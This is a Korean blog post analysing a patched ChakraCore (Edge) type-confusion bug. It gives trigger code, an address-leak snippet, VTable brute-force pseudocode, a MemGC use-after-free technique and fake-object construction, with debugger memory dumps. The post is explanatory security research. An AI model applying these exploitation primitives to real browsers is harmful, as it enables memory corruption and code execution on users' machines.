Browser Exploit -> 3 step to exploit edge

출처:  http://blogs.360.cn/blog/three-roads-lead-to-rome-2/

ChakraCore: https://github.com/Microsoft/ChakraCore

 

설명하는 edge 취약점은 이미 해결된 취약점이다.

var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
 var arr = new Array(alert)

arr.length = 24
 arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})
 arr.__proto__.reverse = Array.prototype.reverse
 arr.reverse()

Bug trigger code이다. __proto__ 구성은 함수에만 해당되는 속성이다. JS에서는 함수를 정의하고 파싱단계에 들어가면 내부적으로 수행되는 작업이 존재한다.

위의 그림처럼 torototype 객체의 멤버중 constructor 속성은 함수를 참조하는 구조를 가지게 된다.

function func() {}

속성이 하나도 없는 func라는 함수가 파싱단계로 들어가게 되면 func() prototype 속성은 func prototype object를 참조하게 된다.

function func(){}

var one = new func();

var two = new func();

위와 같이 선언을 하게되었을 때 서로의 구조를 나타내면 다음과 같다.

func함수가 선언될 때 해당 객체의 prototype 속성은 prototype object를 가리키게 되고 object의 Constructor 속성은 func 함수 객체를 참조하게 된다. 그 이후 같은 object들을 new로 선언했을 때 각 객체의 __proto__속성은 prototype object를 참조하게 된다.

prototype object란 함수를 정의하면 다른 곳에 정의되는, 즉 다른 객체의 원형이 되는 객체이다. 모든 객체는 prototype 객체에 접근할 수 있고 동적으로 런타임 때 멤버를 추가할 수 있다.

function func() {}

var one = new func();

var two = new func();

func.prototype.getType = function (){

  return "hi";

}

console.log(one.getType());

prototype 속성을 이용해 멤버를 추가한 것이다. prototype object에 getType()이라는 함수를 추가하게 되면 멤버를 추가하기 전 생성된 객체에서도 추가된 멤버를 사용할 수 있다.

다시 bug code를 보면 arr.__proto__를 Proxy object로 바꾸게 된다.

arr.__proto__ = new Proxy({}, getPrototypeOf:functioon() {return intarr}})

-> Proxy(target, hadler)

proxy 객체는 target과 handler를 정해주게 된다. 모든 내부 method 호출을 target 객체로 전달하게 된다. 누군가 proxy.[func]() method를 호출하게 되면 target.[func]() method가 그 결과를 반환하게 된다.

proxy.color = “black”;

예를 들어 위와 같이 정의되어 있는 가정하 target.color라고 실행을 시키면 “black”이 return된다. bug code에서는 target이 정해져있지 않고 arr.__proto__를 proxy 객체로 바꾼 것이다. 그리고 reverse로 인해서 arr.__proto__의 구조를 뒤바꿨다.

reverse() method를 호출하게 되면 EntryReverse가 실행된다.

그리고 EntryReverse 내부적으로 ReverseHelper를 반환하게 된다.

ReverseHelper 내부에서는 FillFromPrototypes를 호출하게 된다.

위의 과정을 참조하는 곳은 굉장히 많고 EntryReverse는 그 과정중 하나이다.

설명한대로 Proxy 객체는 target과 handler를 필요로 한다. Proxy는 여러 유형의 이벤트들을 모니터링할 수 있고 일부 조작을 인터럽트 시키고 process중간에 작업을 수행할 수 있으며 우리가 제어하는 일부 데이터를 반환할 수 있다.

arr.length = 24

arr.__proto__ = new Proxy({}, getPrototypeOf:function() {return intarr}})

arr.__proto__reverse = Array.prototype.reverse

Bug trigger code에서 Proxy객체의 handler로 getPrototypeOf를 스캐닝하고 있을 것이다. 만약 getPrototypeOf를 사용한다면 Proxy object는 자체정의된 함수로 반환해준다. prototype = prototype -> GetPrototype();에서 GetPrototype은 내부적으로 getPrototypeOf를 호출하고 이는 자체정의된 callback함수로 prototype변수에 반환된다.

ForEachOwnMissingArrayIndexOfObject의 인자 전달과 처음 초기화 과정을 보면 JavascriptArray pointer arr가 인자로 넘어온 obj로 초기화된다. 하지만 자체 정의된 JS callback 함수에서 JavascriptArray 유형의 배열이 아니라 JavascriptNativeFloatArray, JavascriptCopyOnAccessNativeIntArray, ES5Array 등의 배열이라면 type confusion의 문제가 일어날 수 있다.

그리고 e 객체는 초기화된 arr를 사용하게 된다. 그리고 e.GetItem<Var>()을 이용해 항목을 가져오게 된다.

  • Array_X, Array_Y를 선언한다.
  • e.GetItem<Var>()으로 Array_X에 Array_Y의 항목을 넣는다.
  • 두 객체의 배열을 어떤 유형으로든 설정할 수 있다.

문제를 다시 정의하자면 위의 항목과 같다. 전체적인 방법을 정리하면 다음과 같다.

  • Fake Object를 만든다 -> Array_X를 JavascriptArray로, Array_Y는 제어가능한 JavascriptNativeIntArray, JavascriptNativeFloatArray로 설정한다. 그 이후, Array_X[x]에서 어떤 주소를 가리킬 수 있는 가짜 객체를 만들 수 있다.
  • 범위 밖 읽기 -> Array_X를 JavascriptArray, Array_Y를 JavascriptNativeIntArray 유형으로 설정한 후 JavascriptNativeIntArray의 요소 크기는 4bytes이므로 Var type을 통해 읽어들인 4bytes의 data는 읽을 수 있는 범위 밖의 data이다.

이제 해당 취약점을 exploit하는 방법 3단계를 설명할 것이다.

 

1.

다음 bug code는 이미 패치된 bug code이지만 모든 객체의 주소를 leak할 수 있는 code이다.

var x = [];
var y = {};
var leakarr = new Array(1, 2, 3);

y.__defineGetter__("1", function(){x[2] = leakarr; return 0xcafebabe});

x[0] = 1.1;
x[2] = 2.2;

x.__proto__ = y;

function leak(){
 alert(arguments[2]);
}

leak.apply(1, x);

그리고 정확한 주소에서 가짜 객체를 만들려면 두가지 조건이 충족되어야 한다.

  •  완전히 제어가능한 buffer주소가 필요
  • VTable의 주소 또는 Chakra module의 base주소가 팔요

첫 번째 조건의 경우 segment가 앞에 위치한 배열을 선택할 수 있다.

0000022f`c23b40a0 00007ffd`5b7433f0 0000022f`c2519c80
0000022f`c23b40b0 00000000`00000000 00000000`00000005
0000022f`c23b40c0 00000000`00000012 0000022f`c23b40e0
0000022f`c23b40d0 0000022f`c23b40e0 0000022f`c233c280
0000022f`c23b40e0 00000012`00000000 00000000`00000012
0000022f`c23b40f0 00000000`00000000 77777777`77777777
0000022f`c23b4100 77777777`77777777 77777777`77777777
0000022f`c23b4110 77777777`77777777 77777777`77777777
0000022f`c23b4120 77777777`77777777 77777777`77777777
0000022f`c23b4130 77777777`77777777 77777777`77777777

따라서 Buffer의 주소는 leak_address + 0x58이지만 초기 요소의 수는 SparseArraySegmentBase::HEAD_CHUNK_SIZE를 넘을 수 없기 때문에 이 방법에는 한계가 있다.

className* JavascriptArray::New(uint32 length, …)

if(length > SparseArraySegmentBase::HEAD_CHUNK_SIZE)

{
 return RecyclerNew(recycler, className, length, arrayType);
}

두 번째 조건의 경우 첫 번째 조건을 만족한 전제하에 실행할 수 있다.

가짜 UInt64Number Object를 만들고 parseInt의 인터페이스를 호출해 JavascriptConversion::ToString  함수를 실행시켜 다음 객체의 가상 테이블을 읽은 다음 chakr의 base address를 leak할 수 있다.

JavascriptString *JavascriptConversion::ToString(Var aValue, …)
…

case TypeIds_UInt64Number:
{
 unsigned __int64 value = JavascriptUInt64Number::FromVar(aValue)->GetValue();

if (!TaggedInt::IsOverflow(value)) {
 return scriptContext->GetIntegerString((uint)value);
 }
 else
 {
 return JavascriptUInt64Number::ToString(aValue, scriptContext);
 }
}

heap fengshui와 fake UInt64Number를 통해 VTable주소값을 leak할 수 있다.

 

2.

JavaScript의 Array 객체는 auxSlot 필드가 있는 DynamicObject에 의해서 상속된다. 일반적인 경우 auxSlots은 NULL상태를 유지한다.

var A = [1, 2, 3];
A[Symbol('one')] = 4;

A array에 one이라는 객체 symbol값의 index에 4를 넣었다.

000002e7`4c152920 00007ffd`5b7433f0 000002e7`4c00ecc0
000002e7`4c152930 000002e7`4bfca5c0 00000000`00000005
000002e7`4c152940 00000000`00000003 000002e7`4c152960

그러면 auxSlots의 값이 NULL에서 바뀌게 된다.

000002e7`4bfca5c0 00010000`00000004 00000000`00000000

auxSlots이 가리키는 값을 보면 0x4가 들어가 있다. 이러한 구조에 따르면 다음 계획을 실행할 수 있다.

  • Memory에 Array를 연속적으로 할당하고 해당 auxSlots을 활성화한다.
  • 범위 밖에 있는 다음 Array의 auxSlots을 읽어 현재 Array_X에 넣는다.
  • Array_X[x]는 가짜 객체가 되고 객체 data는 auxSlots이며 임의로 조작 가능하다.

만약 data leak을 하지 못하는 상황에서 객체 위조를 하려고 한다면 VTable과 Type형에 대한 pointer정보가 필요하다.

VTable의 경우 함수를 일정하게 열거해놓으므로 VTable의 값은 어느정도 추측이 가능하다.

IsDirectAccessArray에서 aValue가 가리키는 datar가 VTable인지 아닌지를 BOOL형태의 반환값으로 알려주게 된다.

IsDirectAccessArray는 JavascriptArray::ConcatArgs에서 참조된다. code의 흐름을 살펴보면 if문의 내부에서 IsDirectAccessArray의 결과에 따라 다른 분기로 이동하게 된다. 이 때 JS 계층에서 IsDirectAccessArray의 반환상태를 간접적으로 감지할 수 있다. 해당 과정에 대한 의사코드는 다음과 같다.

for(addr = Vtable_offset, addr < 0xffffffffffffffff; addr += 0x10000){
 auxSlots[0] = addr
 
 if(guess()){
 chakra_module_base = addr - Vtable_offset
 break
 }
}

코드를 살펴보면 guess()로 해당 주소가 VTable인지 아닌지를 검사하고 module 내부 VTable의 offset을 이용해 chakra module base address를 구하는 방식이다.

다음으로 Type pointer를 이용해 Type object를 위조하는 것이다.

typeId는 Object유형을 지정하는 중요한 필드이다.

TypeIds_Array = 28,
TypeIds_ArrayFirst = TypeIds_Array,
TypeIds_NativeIntArray = 29,

#if ENABLE_COPYONACCESS_ARRAY
TypedIds_CopyOnAccessNativeIntArray = 30,
#endif
TypeIds_NativeFloatArray = 31,

우리는 이미 chakra base address를 알고있기 때문에 29가 module 내 어디에 있는지만 알면 된다.

Type_addr = chakra_modlue_base + value_29_offset

위와 같은 식을 사용해 변조할 Type object의 주소를 구하면 된다.

 

3.

현제 Edge Browser의 주요 Object들은 모두 MemGC에 의해 관리된다. 이전 버전에서는 reference counter를 이용했지만 MemGC는 Object간 종속성을 검사해 UAF를 막는다.

Addr_A는 GC Object의 시작을 가리키고 Addr_B는 Object 내부의 일부 위치를 가리키게 된다.

Object2는 MemGC에 의해 관리되는 또 다른 Object이며 Object1의 head를 가리키는 Addr_A 필드를 가지고 있다. 이 부분에서 Object1을 free시키고 CollectGarbage를 trigger시키면 실제로 free되지 않은 것을 알 수 있다.

그런데 Object2의 참조필드가 Object 1의 내부를 가리키는 Addr_B라면 현재 Object1을 해제시킬 수 있다. 그리고 fengshui과정을 거치면 Object2를 이용해 Object1의 내용에 접근하게 되면 UAF를 일으킬 수 있다.

UAF의 과정은 다음과 같다

  • MemGC로 관리되는 Object1을 할당한다
0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777
000002e7`4bfe7e40 77777777`77777777 77777777`77777777
000002e7`4bfe7e50 77777777`77777777 77777777`77777777
  • MemGC로 관리되는 Object2를 할당한다. 그리고 이 object는 Object1+x의 주소를 가리키는 필드를 가진다.
0:023> dq 000002e7`4bfe40a0
000002e7`4bfe40a0 00000003`00000000 00000000`00000011
000002e7`4bfe40b0 00000000`00000000 000002e7`4c063950
000002e7`4bfe40c0 000002e7`4bfe7de8 00010000`00000003
000002e7`4bfe40d0 80000002`80000002 80000002`80000002
000002e7`4bfe40e0 80000002`80000002 80000002`80000002
000002e7`4bfe40f0 80000002`80000002 80000002`80000002
000002e7`4bfe4100 80000002`80000002 80000002`80000002
000002e7`4bfe4110 80000002`80000002 80000002`80000002
  • Object1을 free시키고 CollectGarbage를 trigger한다. 그렇다면 block이 freelist로 추가되는 것을 볼 수 있다.
0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 000002e7`4bfe7d41 00000000`00000000
000002e7`4bfe7df0 00000000`00000000 00000000`00000000
000002e7`4bfe7e00 00000000`00000000 00000000`00000000
  • Object2를 사용해 free된 memory를 조작한다.
0:023> dq (000002e7`4bfe40a0+0x20) l1
000002e7`4bfe40c0 000002e7`4bfe7de8

이러한 bug를 UAF로 이용하려면 두가지 작업이 먼저 수행되어야 한다.

  •  객체의 “Internal pointer”를 찾아야 한다.
  • Pointer를 캐시해 JS layer에서 참조할 수 있게 한다.

1의 경우 segment가 head옆에 있는 배열을 선택할 수 있다.

000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20 //point to the addr inside an array
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777

2의 경우, 공격자는 bound out read를 이용해 pointer를 가져와 제어 가능한 Array에 넣을 수 있다. NativeIntArray, NativeFloatArray가 조작 가능하더라도 적합하지 않다. 그리고 정보 leak이 가능하지 않으므로 어떤 data type을 넣을지 알 수 없다.

여기서 우리가 JavaScriptArray를 선택한 이유를 알게 된다.

0000025d`f0296a80 00007ffe`dd2b33f0 0000025d`f0423040
0000025d`f0296a90 00000000`00000000 00000000`00030005
0000025d`f0296aa0 00000000`00000010 0000025d`f0296ac0
0000025d`f0296ab0 0000025d`f0296ac0 0000025d`f021cc80
0000025d`f0296ac0 00000010`00000000 00000000`00000012
0000025d`f0296ad0 00000000`00000000 77777777`77777777
0000025d`f0296ae0 77777777`77777777 77777777`77777777
0000025d`f0296af0 77777777`77777777 77777777`77777777
0000025d`f0296b00 77777777`77777777 77777777`77777777
0000025d`f0296b10 77777777`77777777 77777777`77777777

초기 객체의 상태이다. 이 memory주소는 JavaScriptArray에 의해 점유된다.

0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000
0000025d`f0296ae0 66666666 00010000 66666666 00010000
0000025d`f0296af0 66666666 00010000 66666666 00010000
0000025d`f0296b00 66666666 00010000 66666666 00010000
0000025d`f0296b10 66666666 00010000 66666666 00010000

spray 후의 JavaScriptArray의 상태이다. Var Array는 객체를 저장할 수 있기 때문에 spray가 가능하다. 그리고 이러한 점은 더 쉽게 fake object를 만들 수 있게 한다.

out bound read를 사용해 바로 다음 배열의 3개 필드를 읽어들인다. (VTable, type, segment)

var JavascriptNativeIntArray_segment = objarr[0]
var JavascriptNativeIntArray_type = objarr[5]
var JavascriptNativeIntArray_vtable = objarr[6]

UAF 상태를 만들고 fakeobj_vararr을 사용해서 해제된 내용을 이용한다.

0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000

Fake Object를 만들어라. JavascriptNativeIntArray_segment는 우리가 캐시한 ”
내부 포인터”이다. 따라서 fakeobj_vararr의 다섯번째 요소 위치를 가리킨다.

fakeobj_vararr[5] = JavascriptNativeIntArray_vtable
fakeobj_vararr[6] = JavascriptNativeIntArray_type
fakeobj_vararr[7] = 0
fakeobj_vararr[8] = 0x00030005
fakeobj_vararr[9] = 0x1234 //array’s length field
fakeobj_vararr[10] = uint32arr
fakeobj_vararr[11] = uint32arr
fakeobj_vararr[12] = uint32arr

alert(JavascriptNativeIntArray_segment.length)를 실행하게 되면 의도한 값이 실행된다.